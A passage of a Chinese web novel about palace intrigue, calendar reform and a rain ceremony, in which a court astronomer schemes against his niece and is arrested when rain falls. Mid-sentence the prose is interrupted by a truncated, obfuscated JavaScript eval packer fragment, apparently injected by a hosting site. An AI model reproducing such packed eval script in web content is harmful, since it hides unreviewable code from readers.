现下,只能是让身为前任司天神女的皇后,或当朝太史令方天司,代替方星曜前往祭台求雨。 “罢了。”皇帝道,“依本朝丁忧制,方星曜不能再主持大典,此事你当如何?” “陛下。”方天司拿出早已准备好的说辞,“司天神女的地位不可撼动,也素有安抚民心的奇效,祈雨大典到来的关口上,若忽然传出主仪的神女丧母,定会令得民心不安,认为上天已不再看顾天禄国,到时民怨沸腾,于国于君都是大不利。” 方天司见皇帝神色未变,继续道,“臣有一议,不知可否解此困局。” “说。”乾帝轻敲了一下已然合上的秘奏,将其扔回案上。 “祈雨大典是关乎天禄国民生的大事,而国之大事需排于孝先。方府可先瞒下方母病逝的消息,延迟发丧,令方星曜继续主持仪典。待结束后再发丧。”方天司一口气说完后便不再说话,等待皇帝发话。 “方星曜作为司天神女,生母即丧,作为子女却不守孝。此举乃是有悖上天,有悖人伦。”皇帝的声音忽然带上了一丝严厉的质问,“你作为太史司之首,怎可不顾礼法人伦?” “臣惶恐。”方天司跪倒在地,低着头颤声道,“国之礼高于家之礼,国之难高于家之难。臣也是一心为国,请陛下降罪。” 皇帝见方天司提出让方星曜瞒丧履职,心下便知让方天司去主持大典约是不可能了的,而作为前任司天神女的皇后,又是自己调用不动的人,于是顿了顿,问出心中最不想启用的“立新神女”方案:“方星曜守孝谢职三年间,何人可用?” “回禀陛下,”方天司没想到皇帝心中竟真认为天道应让步于孝道,不接受自己让方星曜瞒孝履职的提议。 皇帝乃弑父上位,按理说,只要自己把方星曜的母亲杀了,控制住方星曜,自己再赶来第一个给皇帝提议让方星曜瞒孝主持大典,皇帝定会采纳自己的建议。这个计划原本应当是万无一失的,却千算万算没有算到,弑父上位的皇帝竟真打算将方星曜撤下来。 方天司心念一转,回道,“儿臣的小女方思柔已及笄,当可继承司天神女之职,代方星曜主持祈雨大典。但……” “别吞吞吐吐,有话直说。”皇帝挑眉。 “臣惶恐,请陛下莫要怪罪。若小女继承司天神女职责……但历任司天神女都需嫁于太子,而如今与太子有婚约之聘的却是方星曜。” 方天司说完立刻伏趴在地,一动不动,一言不发。因为此话一出便关乎储君之位。实在是大忌中的大忌。可现如今,拿储位之事制约皇帝是最好的方法。 皇帝若立新神女,这步棋便要决定最终皇位的归属。 当今乾帝年富力强,太子虽为前任司天神女所出的正统继承人,但近年来乾帝却隐隐打压太子势力,有扶持四皇子上位的意思。 观今日上朝,皇帝拒绝分封四皇子,将其派往封地便可见一斑。帝后离心多年,四皇子母妃最得皇帝宠爱,且有作为右相的父亲武道成撑腰。这也是为什么,即便武道成粗鄙又难缠,依然要促成方思柔和四皇子婚约。因为在权力面前,谁能掌兵,谁才能掌天下。 对于方天司自己来说,太子乃方家女儿方谨妙所出,身上流着方家的血。只这分血脉,他就永远是算半个方家人。 太子继承帝位,方星曜嫁给太子,以方星曜的性格绝不会置家族于不顾,以太子的任善亦不会为难四皇子,女儿可保一世平安。 而若四皇子继承帝位,方星曜可降职留任太史司,她的才华依然可为自己所用,自己女儿亦可享一生富贵。 于方家而言,不论太子和四皇子最终谁继承帝位,家族都将立于不败之地。 如今,方星曜一旦履孝谢职三年,便意味着这期间她不能履行与太子的婚约,而若皇帝依然决定将皇位传于太子,方思柔一旦被立为新任司天神女,方家就不得不与四皇子悔婚,转而与太子定立婚约。 这样一来,方家便等同于四皇子一党彻底决裂,转投了太子党。以目前乾帝对储位不明晰的态度来说,这样反而会导致乾帝对太史司权力下手,以削弱太子党势力。 御书房内长明的烛火已接近燃尽之时,十二名内侍极为准时地掌着新燃的蜡鱼贯而入,悄无声息替换了所有烛灯后急步而出。御书房内由暗转明又稍转暗的整个过程中没有发出一丝响动,没有一毫脚步声,教人完全感受不到有其他人的存在和进出。 “储君之位乃安国安民的大事,储君之妻即是君之大事,也是国之大事。”乾帝终于开口,却仍然叫人猜不出他的想法和意思。 方天司抬头立刻接道,“如今西部三州大旱,百姓怨声载道,若仪典之时更换司天神女恐失信于民。臣死谏——” “不必开口赎罪,闭口死谏,当朕是乱杀臣子的昏君吗?方卿,你是朕最为器重的国之肱骨,但说无妨。”乾帝的声音终于有所缓和。 “臣上谏,方星曜司天神女一职关乎国家安定。”方天司换了个言辞,“请陛下允臣私自做主,让方星曜瞒孝履职。方母由方家秘密发丧,待大典后再公布方母死讯。这样不论祈雨成败,陛下皆可以瞒孝之罪发落方星曜。她是为国为民也好,不顾礼仪孝道也好,皆在殿下心中。” 方天司跪下磕了一个头,“臣唯陛下马首是瞻。” 不知为何,御书房内的烛火忽地一并扑闪了一下,明灭之间似是有风在房内卷动了一瞬又无声无息地消失。 “准奏。”乾帝轻声开口,“朕乏了,退下吧。” “臣,领旨。”方天司终于感到一阵轻松,起身后退几步,快速走出了亮如白昼的御书房。醒神香的味道褪去,方天司一跨入廊中便觉困意袭来,待他走出廊外,又被迎面而来的冷风击散了困意。 他拢了拢衣袍,将双手对揣入袖中,微勾上身将下巴缩进裘袍抵御春寒,同时露出了多日来唯一一个真正的笑容。 夜色深沉,天空暗得发紫。 春风中忽闪着的星辰与庄重肃穆的金角吊檐一应一和。 凤栖殿内,素袍女子背对殿门,在面前的香炉中加入一个椒香丸随后柔荑轻叩,对着面前的画像行了一礼。 “来人,为吾备妆。”素白的面庞转过来,沉声唤道,“去通报李援,吾有要事与他相商。” 她看起只有二十余的年纪,神色却沉静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你当朕就不关心百姓吗?”御书房中,乾帝终于气急,“啪”地一声按下手中的奏折,站起身走到方谨妙的面前,“朕在你眼里,就是一个为了坐稳皇位,不顾天下生民的昏君?” “当年你登基,需要我为你正天命的时候,是如何承诺我的?”方谨妙丝毫不惧皇帝的怒气,她昂起头,冷淡地与李援对视,“四年内发布政令修历。” 改历之事,二人争论了快十年,直到方谨琮去世,方谨妙才忽然像开悟般转而修道。这些年,方谨妙除去皇后必须到场的仪典,私下里再也没见过自己一面,李援只当方谨妙终是放下了,放弃了,却未曾想,她今夜竟是又提起了改历之事。 “你身为我国司天神女,应当比谁都清楚。百姓信仰神明,你皇后的神威是天给的。而我,作为皇帝的天威亦与天命系于一身。”李援顿了顿,“改历?如何改?告诉我天禄国的百姓,天子给你们定的正朔是错的?再改一次每年的起始之日,这天下会如何论我这个皇帝?” “改正朔,就等于要换人当皇帝。你身为司天神女,难道不知道吗?”李援气急,感觉一口气都要喘不上来,他拿手抚住胸口,继续道,“历法一改,朔望、二十四节便要跟着改。此事牵动朝廷几乎所有职能部门,礼典、宗法、军政、财政、民政、农政,一乱皆乱,更别说民心动荡,皇室根基不稳。天命正朔成笑话,国也将不国。” “你是天吗?你有天命吗?你有资格定义天的时间吗?”方谨妙冷冷道,“罢了,我不想再同你诡辩。”方谨妙从手中拿出一封信,“我们做个交易。” “明日支开方天司,招方谨微进宫。”方谨妙见李援未动,径直走到书案处将信放于正中央,“我会再来寻你。” 14. 第 14 章 翌日,太史司乱成一团。殿内脚步声,撞击声,动物的叫声,人的吆喝声,浓重的熏香混杂着各种动物地气味,教人忍不住捂鼻。 “鱼怎的这样端着?死了怎么办?”礼典司王申拦下端着托盘的官员,“快,去找水缸,好好将养着,另再多找些鱼备用。” “鸡可以,但这只小猪不成,品相不好,耷拉着一只耳朵,精气神不足。”王申看了眼被抬到面前的一排笼子,“再去寻。” “王大人,服饰送哪里?” “后殿,仔细着点。”王申一个回头朝着殿门处守着的侍从问,“舞童呢?还没到吗?” 王申一边唤人去催,一边引着祈雨大典的巫祝往净室走。边走还在边喊,“文大人!乔大人怎么还不来?” “不是还有些时间吗?慌什么?”文思礼慢悠悠在殿内走着四方步,用眼神示意带来的人跟上王申,“王大人!把太子殿下和神女大人斋戒用的服饰带上,慢点跑。” “祝辞呢?”王申给巫祝引了一半路,又想起更重要的事情,急忙绕回到议事殿,就见着文思礼好端端坐在最下座的椅子上,正细致地吹着手中的茶水里飘着的茶叶。 王申:“……” “大人!文大人。”王申上前几步站到文思礼面前,好教他注意到自己,“太子殿下和神女大人斋戒期间颂念的祝辞可准备好了?” 文思礼抿下一口茶,抬起头颇感意外地看向王申,“祝辞该由你太史司准备啊?我们管的宗庙礼仪,主的是礼。” “嗐——”这太史司和太常职能颇多重合的地方,经常会互相推诿。总归谁都知道这事儿是办的越少便越不容易被人抓住错处,推来推去的也只能是谁更急、谁更需要就谁去办。王申有口难言,一巴掌拍在自己的大腿上道,“成,小的现在去写。” “嗯,”文思礼再抿一口茶,悠悠道,“大人才能出众,实在是我朝之幸。” “文大人谬赞,谬赞。”王申快跑几步到案边,刚坐下,就见一个白衣身影飘飘然进了屋内。他立刻展露出惊喜的笑容,“乔大人,你可算是来了。” “我说文大人,”乔芝灵小心避开地上的鸡粪,艰难地找了个略微干净的地方站定,“礼典司的人可以教授礼仪,太常下属仪典也可以教礼仪,怎的这活儿竟是落在鄙人这里了呢?” “嗐——,乔大人说的什么话?”王申赶忙接到道,“我朝谁人不知你满腹经纶,风姿翩翩,由你来教太子殿下和神女大人,那真的是再合适不过了。” 乔芝灵是个洒脱又不按常理出牌的性子,身份又尊崇,这次文思礼算是够意思,没把教授礼仪的事情压给太史司,属实给自己减了不少担子。王申心里很是感激,却也怕乔芝灵临时撂挑子,于是求助地看向文思礼。 文思礼放下手中的茶,对乔芝灵点头笑了笑,“我朝再无第二人能有乔大人对礼仪的精通,太子殿下和神女大人此次的教授就有劳乔大人了。” “好说好说。”乔芝灵被夸得舒服,一想到这三日可以和神女大人以及太子殿下近距离接触,更是开心得很,但他又不想表现得太明显,于是压住自己快要咧到嘴角的笑容补道,“承蒙文大人赏识,大典是国之重事,我乔某定不负大人们所托。” “这位同僚,”王申喊住从殿里穿过的一名年轻官员,想了又想也没想出来对方的名字,只得笑笑道,“劳烦你送乔大人去净室。” “好,王大人。”那小官儿对王申行了一礼,转身走到乔芝灵旁,展开左臂道,“乔大人,这边请。” 待乔芝灵离开,文思礼这才状似无意地走到王申案边,侧身看了看他写的祝辞,“大人才学出众,听闻是御史大夫郭大人举荐入的太史司?” 王申正绞尽脑汁斟酌措辞,闻言头也未抬道,“我乃西部中州王家子弟,是由大司农钱大人麾下的王叙沐大人举荐。” “如此,”文思礼点点头,“王大人在太史司可还顺遂?” “平日里还好,”文思礼想挖墙角的意思其实很明显,但王申没听明白,憨直道,“只这段时日连续两个国家级大典,忙的点。” “今日怎的没见方大人?”文思礼没想到这王申看着机灵,实际是个不太懂话儿的,便转了个话头闲聊道。 方天司方才去净室处让兰兮给方星曜传了话,威胁她必须瞒下苏青莲过世之事,继续主持祈雨大典,否则便将苏青莲勾结外男之事公之于众,将苏青莲尸身鞭挞沉塘,并从方家宗谱除名。 兰兮传完话后回报说方星曜应下了,方天司甚为满意,正欲准备去御书房找皇帝回禀,就刚巧碰上皇帝的内侍,唤他去甘霖苑等着。 方天司轻松地哼着小曲朝甘霖苑的方向去,迎面便遇上了朝净室来的乔灵芝。 “方大人,这是遇上什么喜事?”乔灵芝笑着打趣道,“可是新填了小妾?” “乔大人真折煞我也,我此生只我夫人一人。你这话若让我家夫人听了去,她可是又要同我闹俏了。”方天司今日心情颇好,也顺嘴打趣道,“倒是乔大人你,皇都多少高门贵女都中意于你,你却一直不成婚。可是挑花了眼?” “方大人与夫人青梅竹马,举案齐眉,这皇都里谁人不知?”乔芝灵一听人调侃自己的婚事,便立刻转移话题道,“倒是我没有这般的缘分了。” “乔大人冠绝皇都,定会有自己的天赐良缘。”方天司笑着祝了一句,“陛下召见,在下先告辞。” “再会。”乔芝灵见状赶紧送神,这老狐狸真真是不干人事。自己当日忘了神女大人还得经“曝巫”礼,那日神女替太史司送舞童来时,感觉走路都瘸着腿,真真教人心疼坏了。 乔芝灵对劳烦神女大人亲自送舞童之事深感懊恼,遂转头问道,“神女大人近日里可还好?” 那小官儿没想到乔芝灵会忽然问自己话,急忙收回看向方天司背影的目光答道,“回大人,属下不知。” “嗯。”乔芝灵本是随口问了,也没期待能有答案,神女大人的腿伤一会儿倒是可待自己亲眼看看是否好些。 乔芝灵这般想着,便加急脚步往净室赶去。 “将桌子挪来这里,”到了净室外的小厅,乔芝灵没有派人去请方星曜和李昭,反是先令人搬弄桌椅,“椅子,放这儿。” 守着净室的不是内廷的侍者,而是太史司官员,他们都是文官,干不得粗活,一个个被乔芝灵折腾得满头大汗。 “行了行了,这下总算是对了。”乔芝灵看着按祈雨大典祭台布局摆放的桌椅,满意点点头,“去请太子殿下和神女大人吧。” “回禀大人,”太史司官员道,“太子殿下和神女大人已在门外等候有一会儿了。” “什么?”乔芝灵诧异又心惊。 诧异的是太子和神女如此尊崇的人竟未让人通传,候在殿外等自己。那自己想把一切都安排好再请他们的心意算什么?这反是怠慢了他们。 心惊的是,按礼法,太子与神女二人在斋戒期间是不得与外人接触的,他们在殿外和守着净室的太史司官员这么一等,岂不是坏了规矩?这万一祈雨大典后不下雨,必得怪罪到二人头上。 “我去迎接。”乔芝灵急道,“你们,都快点低下头出去,不能行礼,不得对视。”? 李昭见是乔芝灵前来做礼官,心下莫名冒出一股郁气,却因着斋戒要“净思”又硬生生压了下去。他用余光扫了一眼方星曜,自方才在殿外等候,方星曜就仿佛站得极为吃力的样子,脸色也不好,像是生了重病,往日晨露裹花蕊般的面庞今日看起来…… “太子殿下,神女大人,请随我来。”乔芝灵不出意外地硬生生将李昭的思绪打断,他看了一眼方星曜的腿,缓步将二人带到桌案的两边,并给方星曜搬来了一张椅子。“礼虽有规矩,可也需容人情,神女大人你跪了八日,这三日斋戒便坐着听教罢,若需走位我再请你站起。” 乔芝灵定了定,转而向李昭解释道,“太子殿下,你虽是代陛下祭祀,却也是大典最重要的祈愿者,需站着学礼。” 乔芝灵又关心地看了眼方星曜,“神女需以最佳状态主持大典,臣私自做主让神女坐着学礼,此是为祈雨大典顺利完成,还请殿下莫怪。” “多谢大人。”方星曜确实已感觉身体无力支撑,膝盖疼痛无比,但她还是尽量不让自己显出腿伤,缓缓坐下。 “大人思虑周全,有劳大人。”李昭牵动嘴角,露出一个温和的笑,在乔芝灵指的地方规规矩矩站好。 乔芝灵退到小厅中央的圆桌后面,掏出准备好的祈雨祭台图,展开示意二人看。 “此处是为祭台,”乔芝灵话说一半又想起什么,跑去一边拿了茶壶,给方星曜斟了杯茶水,正欲继续讲解,便对上了李昭一双如蜂藏花蕊的凤眼。 “太子殿下,你渴吗?”乔芝灵总觉着太子这眼神有种说不出的意味,讷讷问道。 “不必,”李昭道,“乔大人请继续。” 方星曜闻言抬头望向李昭,李昭也似是有所感应般扭头望向方星曜。 “啪——”李昭的脸被一只手定住,“斋戒期间,不可与他人有眼神接触。”乔芝灵着急忙慌道。 “呵。”方星曜自昨日起心肺便被紧紧攥住,得不到喘息,这“啪”的一声加上太子的囧意,竟是让她放松了一瞬。可在太子面前失仪又颇为不妥,她立刻低下头,拿起乔芝灵送来的茶,轻轻抿了一小口。 乔芝灵看了一眼方星曜,竟是紧跟着露出了一个笑容,收回自己托住李昭脸的手,将桌面上的祭台图示展了又展。 李昭余光扫到方星曜喝茶,郁郁将脸摆正,望向乔芝灵牵动嘴角笑了笑,“谢大人指正。” “无妨,无妨。”乔芝灵抬头看向李昭,“太子殿下,斋戒之时不得露笑。” 李昭眉尾轻压,再未发一言。 乔芝灵感觉后背有些刺挠,却对太子殿下的情绪毫无察觉,继续尽心尽力给二人讲解大典当日的流程,仪典,站位与走位。 这一讲,便用了一个时辰。神女大人和太子殿下全程都非常配合,乔芝灵对二人的学习能力非常满意,认为这是自己教学最轻松的一次。 “最后,致斋这三日,二位需思神灵之德,百姓之苦,己过之责。”乔芝灵松了口气,向二人强调斋戒这三日地“净思”内容。 李昭听得这些,心中却是在冷笑,“神灵若有德,为何西部旱灾肆掠?百姓之苦,思便可解吗?朝廷的储粮年年下降,农政发布了几十条,却无一见效,每年饿死的,沦为流寇的百姓数量何其多?征兵能征到的壮年已越来越少,仗却越打越频繁。己过?自己有什么过错?自己错在不能听政,不能治国,错在不是皇帝罢了。” 而这些钻入方星曜的耳中,却在她心里变成了为祭祀亡亲所用的五思,“思其居处、笑语、志意、所乐、所嗜。”母亲过世,自己于丁忧期间参加吉礼且还瞒孝主持大典,是大不孝,为天理不容。况且,哪怕心中至诚,这雨又岂是求来的?“女儿不孝,只能以此斋戒求得母亲亡魂安宁。” 母亲的卧室如今是什么样子呢?她的院里有父亲为她亲手栽下的她最爱的桃树。今年桃花还未开,父亲过世后,母亲每年最开心的时日便是赏桃花,再等待桃树结果。母亲病得愈发重后,不能再吃生桃,自己都已经学会了如何做桃羹和桃片糕,母亲却不在了。 母亲笑起来最是温柔,说起话来也总是轻声细语。她最希望父亲改历的夙愿得偿,却总劝自己莫要急于当下,先要好好活着。方天司如今带走母亲,又威胁自己必须瞒孝主持大典,必是想用丁忧的礼制置自己于死地。姑姑传信说改历可成,却也让自己瞒孝,但是父亲过世九年了,姑姑这些年又一心向道,她是如何计划的呢? 与此 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“是,陛下。”方谨微放下手中的笔,“现行的乾历也可不改,只需设置一个斡年即可。” “何意?”乾帝转头看向方谨秒。 “你可以先不改你这错得离谱的乾历,只要寻个由头,下诏将今年定为斡年,便可解农耕之祸。”方谨妙觑了乾帝一眼道。 “现在的大乾历设十二个月均分,每月计三十一日,一年共有三百七十二日,比正常太阳回归年多六至七日。斡年则是在不更改十二个月均分的基础上,将每个月定为二十九日,一年只有三百四十八日,比正常太阳回归年少十七日余。”方谨微补充道。 “陛下,这斡年只能解燃眉之急,回归每月三十一日后,二十四节气仍然会继续往后偏移。”方谨微道,“但臣可以继续算,也许可以再加入斡月,斡时进行调整。” “原本每年的一月初一就不是能随意定的,但你们为了彰显天命,方天司将你登基的那日定为正朔之日,改了一年的起始。他便只得用远多于一个太阳回归年的时长去弥补岁差,以保证第二年的天时能对应二十四节气。但又因为乾历设置的一年时间过长,如今十八年过去,乾历的日期已晚于正确天时四日。”方谨妙讽刺道。 “现下将本年改为斡年,到明年,二十四节气便可与正确天时准确对应。也算先救了一急。”方谨妙道,“为天禄国的百姓想想罢,民生涂炭,你这皇帝的位子也坐不稳。” 乾帝听方谨妙说的那话,气得脑袋开始嗡嗡作响,“加一个斡年,再来些斡月、斡时,不也等于是重定了天命正朔?你说的这法子还不如直接改历,至少有个推演的基础。” “乾历本就是逆天而为。天命正朔也本就是个笑话。”方谨微嗤笑一声道,“每年的一月初一原本便是为天时而定,它是天地运行的节点,不是为了证明你皇权合法性的“正朔”。更别说你与方天司二人还将月亮历从历法里除去,导致了朔望月的混乱。你们做的这些,是从根本上毁掉了历法的根基,也把整个国家拉进了错误的时间周期。” 方谨微皱了皱眉,“如今的日期全然错乱。二十四节依照太阳运行轨迹指导一年中农耕的时机,百姓依靠日升日落判断时间的流逝,他们通过月亮圆缺分辨时间,依月相指向的朔望决定嫁娶,婚丧,祭祀的日子。原本,太阳历与月亮历结合的阴阳合历才能真正统一农耕和礼法,是正确的历法。” “十年前,我便已与你说过多次,如今再提醒你一次。”方谨妙道,“如今所有人都是活在时间的裂缝里。你的乾历是逆天而行,你自以为傲的天命正朔才是真正的自毁国之根基。” 方谨妙给方谨微递去一个眼神,方谨微便会意默默退出御书房。 “我说与你的交易,是最佳的方案,保皇权,也保百姓。”方谨妙继续道。 乾帝望向方谨妙却没有说话。 “方星曜的母亲过世了,我让她瞒孝主持大典。”方谨妙道,“想必方天司为阻拦曜儿拿太史司开刀,早已将她母亲的尸身控了起来。” “大典后,你可问罪方星曜,以大逆不道之罪将她问斩,称神女失德,废司天神女制。”方谨微道,“再责方天司隐瞒神女丧母不报之罪,问罪太史司,撤方天司太史令之职。召方谨微回朝复任,令她统领太史司,翻方天司错定乾历的罪责,推行改历。” 方谨妙看着乾帝无动于衷地样子,笑了笑,“我方家愿将所藏天文、堪舆、算学所有典籍交给皇家。从此以后再没有垄断实学的世家。你皇帝可以自行办实学学堂,培养自己的实学人才和官员。” “你和神权博弈这些年,想必也憎恨神权对你皇权的制约。你受制于太史司,被天象的预言威胁,亦被天象的解释权绑架。而我,也和你一样憎恨着神权,憎恨实学只能披着神权外衣生存。”方谨妙放低了声音,走到乾帝身侧,诱惑道,“若你答应我的交易,我将神权交回给你皇家,我会自行问罪,替你抗下十八年的罪责。改历,我也给了你可斡旋的方案,你可先定翰年救急,待方谨微重新推算好历法,再行实施。” 方谨微后退一步,紧紧盯着李援道,“至于你一直想立四皇子为太子,也可以实现了。”方谨妙继续道,“当我皇后的身份除去,李昭就不再是唯一的嫡子,你也不需再依靠天命,你自是可以立四皇子为太子。” 方谨微冷笑一声,“至于李昭。你想杀,也可杀了,总归你也杀过一双子女。” “子肖父,”方谨妙自嘲地笑了笑,“若李昭当了皇帝,安知不会又是下一个你呢?” 乾帝眼瞳震颤,已然说不出话来。 方谨微像个疯子。她的这个交易简直是自毁家族根基。她献祭自己的侄女,献祭自己。放着拿在手中的皇权不用,将所有能押上的一切押上,连自己的亲生儿子都不顾,只为了生民赌一个未来。 她确实应当是天命的皇后。 15. 第 15 章 春分,巳正,祈雨大典。 八名十岁的男童身着青衣,因是祈的春雨,他们按五行方位站于祭祀台的东侧,等待巫祝号令。 祈雨用的祭祀台是临时修造的一个八尺见方土坛,坛体用新土筑成,土台分三级,每级高一尺半,边缘插着八面青色旗帜。 “咚——”,第一声鼓鸣起时,八名舞童踏出左脚,他们脚尖点地配合着鼓声,青衣扬起呈卷云之势。 “咚——”,参与大典的朝臣和围观的百姓纷纷跟随着鼓声朝向祈雨祭台行礼。 “咚——”,方星曜手捧龙首虹霓玉璜,恭敬将其托至额前,她踏着鼓点稳步走上祭台,司天神女服上的团云银绣自袍袖漫至衣摆,一阶一阶地攀上祭台。 烈阳璨璨如天神的怒火,将每个人的脸庞燃成赤色。 青旗低垂,天空澄明,云如丝锦。 方星曜将玉璜抬起,龙首向天,弦乐般的清丽声音响起,“天降五谷养民,今五谷遭旱,恐不成实,敬进清酒、干肉,再拜请雨,若得甘霖,即奉牲祷。” 八名舞童同时旋身朝向祭台中央的方星曜,他们一只脚重重踩跺到地面又立刻抬起,展臂躬身呈鹤立之姿。巫祝跟随着方星曜低声念诵起祝词。 “拜。”方星曜弯身对天而拜,所有的朝臣与百姓这才跟随着方星曜行拜礼。 “起。”方星曜起身将玉璜置于祭台中央,挽起袖摆露出白皙右臂,她扬手在虚空中描画五行的方位又旋手让其指东。 随后,方星曜将指尖自祭祀品之上绕下呈托举状,再次开口,“吾谨以玄酒、生鱼,干肉、清酒、白茅,敬于水神,敢告,请雨。” 方星曜话落,舞童纷纷如鹤引颈,屈身收臂展开旋转后再次踩跺,唤醒大地、召唤雨水。一旁的薪柴堆被点燃,开始焚烧。 祭台四周柴香弥漫,春烟腾然朝空中升去。 “咚——”,李昭身着绣龙太子服,在一片迷蒙中缓缓踏入祭台,他走向祭台上用土堆砌而成的土龙,将手中的葫芦盏倾斜,将水均匀洒上龙身。 一旁的巫祝在李昭完成“请水”后,递上了朱笔。李昭挽起袍袖接过朱笔,手肘带动手腕,为土龙点上眼睛。 方星曜走上前,递出手中另一只染成青色的荆棘,李昭接过荆棘,跟随方星曜回到祭台中央,一同跪下。 与此同时,远在千里之外的西部罗县,刘文亦带着八名年幼的舞童在田间地头穿梭舞蹈,他们举着蒲草编的小龙,模仿龙在天上行云布雨。 这八个孩童里有男孩、有女孩,他们年纪大的大,小的小,而且并不像皇都祈雨大典那般,按照五行、年纪并匹配生辰进行挑选。 即便罗县司稼署已经出了重金征集舞童,将遴选标准放到了最低,村里却已经没有那么多符合年龄的孩童了。 多年的饥荒,再加今年的旱情,村里能出外投奔亲眷的早已带着一家走掉,其他的要么入山做匪寇,要么把自己的孩子卖了,要么连自己一起也一并卖了。 全村如今只剩了十几个孩子,司稼署集不齐人,连年纪最小的五岁孩子也被选入了当地的祈雨仪式。 “刘叔,我跳的对吗?”最小的孩子迈着小短腿努力地想跟上哥哥姐姐们的步伐,其间还不忘探出头向刘文寻求肯定。 “对,你跳得很好。”刘文一边领着孩子们小心绕过田里裂开的地缝,一边笑着鼓励这个名叫狗狗的小男孩儿。 “那我等会可以和哥哥们一样领两个窝窝头吗?”狗狗睁大圆圆的眼睛期待地问。 “当然可以。”刘文一口应下,“你和哥哥们一样,领两个窝窝头。” “耶——”狗狗开心地蹦起来,却一个不留神跌进了土缝中,“呜——”,小孩只小声呜咽了一下便立刻爬出来,继续跟上队伍接着跳舞,鲜红的血液自他的小腿肚流下,滴在干黄的农田上。 “滴答——” 方星曜用盏接下自己和李昭被荆棘扎出的血液,用染着青色蔻丹的指尖沾上血在金帛书上写下:“请水神降雨。” 帛书被方星曜举过头顶,请天垂阅。 李昭站起身退至祭台外,接过顾明递来的手巾擦去指尖干涸的血渍。 他的眼前,方星曜身着青色制式的司天神女袍,规规整整跪在祭台中央,她双手捧着展平的帛书,低着头,虔诚的,神圣的。 她的一旁,八尺的土龙被雕琢得栩栩如生,却因为过于干燥的空气,鳞片上现出极细密的裂纹,刚刚由自己点出的眼睛此时正朝向天空,那双竖瞳在春烟缭绕中竟真的让人看出一股神性。 李昭抬头看向太阳,刺目的橙光穿透柴烟,在眼中折出点点令人眩晕的星芒。 “没有下雨的征兆啊。”顾明追着李昭的目光看去,天空中原本如丝锦的云线已汇成团片。 “几时了?”李昭收回目光,看了一眼已经开始零零散散离开的百姓。 “还有半个时辰就是午时。”顾明去太史司布置的漏刻那里转了一圈回来禀报。 “嗯。”李昭看向皇宫的方位问道,“母后那边如何了?” “方才得到消息,”顾明凑近小声道,“半个时辰前,皇后娘娘带着姜道长去了陛下那里。” “姜道长?”李昭闻言,眉尾轻微挑起,诧异地收回目光看向顾明。 “是。”顾明尽量不引人注意地往李昭身边挪得再近一些,“姜道长不是皇后娘娘召去的,反倒像是卡着点到的。娘娘出殿之时,姜道长便已等在殿门外了。” “他跟着母后一起去见了父皇?”李昭再一次同顾明确认道。 “是。”顾明点点头。 李昭想不明白母后替自己提完婚之事为何要带姜道长,但若父皇同意了婚约,这个时辰他与母后也应当是要到了。 “陛下与皇后娘娘亲临——”层层叠叠的通报声传来。 李昭循声望去,却见帝后二人身后跟了三队士兵。此事颇为奇怪,李昭眉头微皱给顾明使了个眼色。 “恭迎陛下,恭迎皇后娘娘。”李昭领群臣行礼。 右相武道成跟在乾帝身后站定,一挥手,廷尉便带着数百个士兵将祭台团团围了起来。 “这是出了何事?”朝臣纷纷诧异地交头接耳,“这可是祈雨大典,右相这是?” 百姓见宫廷的士兵出动,纷纷害怕地往后退,却又按捺不住心中的好奇,一个个远远地探出头来看。 “拿下。”廷尉向身后示意,一队士兵便往朝臣所站的地方走去。 朝臣不明所以,纷纷害怕地往后退,生怕是来抓自己的。 士兵们目不斜视径直走到方天司处,将他架起来带到了皇帝和皇后面前。 方天司一脸懵然,他抬头看向皇帝,实在想不明白抓自己到底是为什么? 皇帝那日已默认自己瞒下方星曜母亲的丧事,令方星曜瞒孝祈雨。待祈雨大典正式结束,自己便会立即揭露方星曜瞒丧之事。并按原定的计划,宣布今日晚间将有“月食”天相。自己会将此次月全食的灾异天象推给方星曜的瞒孝之举,再由皇帝给方星曜定罪后,再亲自出面举办“救月”典仪,以正皇帝天命。 此计划万无一失,于皇帝而言更是西部大旱,祈雨大典与月食的最优解法。 可如今…… 方天司疑惑地抬头,试图追住皇帝的目光。可乾帝却只是看着祭坛,不知在想些什么,始终没有看他一眼。 方谨妙站在皇帝的右侧,她身着纯红凤绣的司天神女服,表情却是淡淡的,她垂眸看着面前跪着的方天司,如同看着一个不知自己下一刻便会被人踩死的无知蝼蚁。 方谨妙收回看向方天司的目光。终于等到这一天了。此事一成,哥哥改历的夙愿可偿。天禄国的时间会重新矫正,生民不再受苦,他们会重新拥有正确的农时,可以回归正确的典仪,可以过回真正的生辰,他们不再是活在时间夹缝里的人。 我献祭了方家,献祭了你女儿的前程。十八年前的错也好,罪也好,都会随着我们的死消散。哥哥,你在九泉之下会怪罪妹妹吗? 方谨妙看向仍跪在祈雨祭台上的方星曜,她手持荆棘默默跪在那里,对祭台下发生的事情一无所知。 方谨妙轻轻叹了一口气,收回目光。不知为何,方星曜的背影竟是让人觉得太阳的光芒也变得黯淡了下来。 廷尉已然捧着圣旨上前,对被押跪着的方天司开始宣读:“太史司掌天文历法,本当以天命为先、礼制为依。方天司身为太史令,竟……” “嗒——”一声短促而清脆的水声,落入祭台上盛放干肉的铜盏中,震颤着发出回旋的嗡鸣。 方星曜垂着头,嘴角终于浮现浅浅的笑容,轻声低喃,“世间事多置之死地而后生,顺天地规则,便可逆天改命。” 方星曜扬起头,迎接窸窣落下的雨滴,灰蓝的天空中团团云片汇聚收拢,将似月的淡阳推去身后。 浩渺苍天的凝视下,雨滴攀住方星曜的长睫,又随着轻眨的眼自她的面颊滚落,“父亲,我定会完成你的遗愿。母亲,我定会为你讨回公道。” 祭台四周燃烧着的柴堆已然被雨浇灭,方星曜因柴烟而扭动的迷蒙视线重又恢复澄明,她挥手示意巫祝与舞童归位后自祭台的蒲团站起。 方天司,你要我瞒丧主持大典,皇帝也并未有夺情的旨意,那么想来大典结束之时,你必会拆穿我瞒丧之事,以大逆不道之罪拘我。这样我便没有机会邀功向皇帝提出改历,你还可以借机将我发配皇陵远离朝堂。 你计划得确实周密,却抵不过天地的规则。方星曜轻笑,祈雨大典这日的雨才是我改历的真正筹码,你费尽心思摆弄天象搅动朝堂,却从不钻研天理,算不准精确的物候天时。不仅拿我母亲的清誉威胁,还妄想用瞒丧治我的罪。 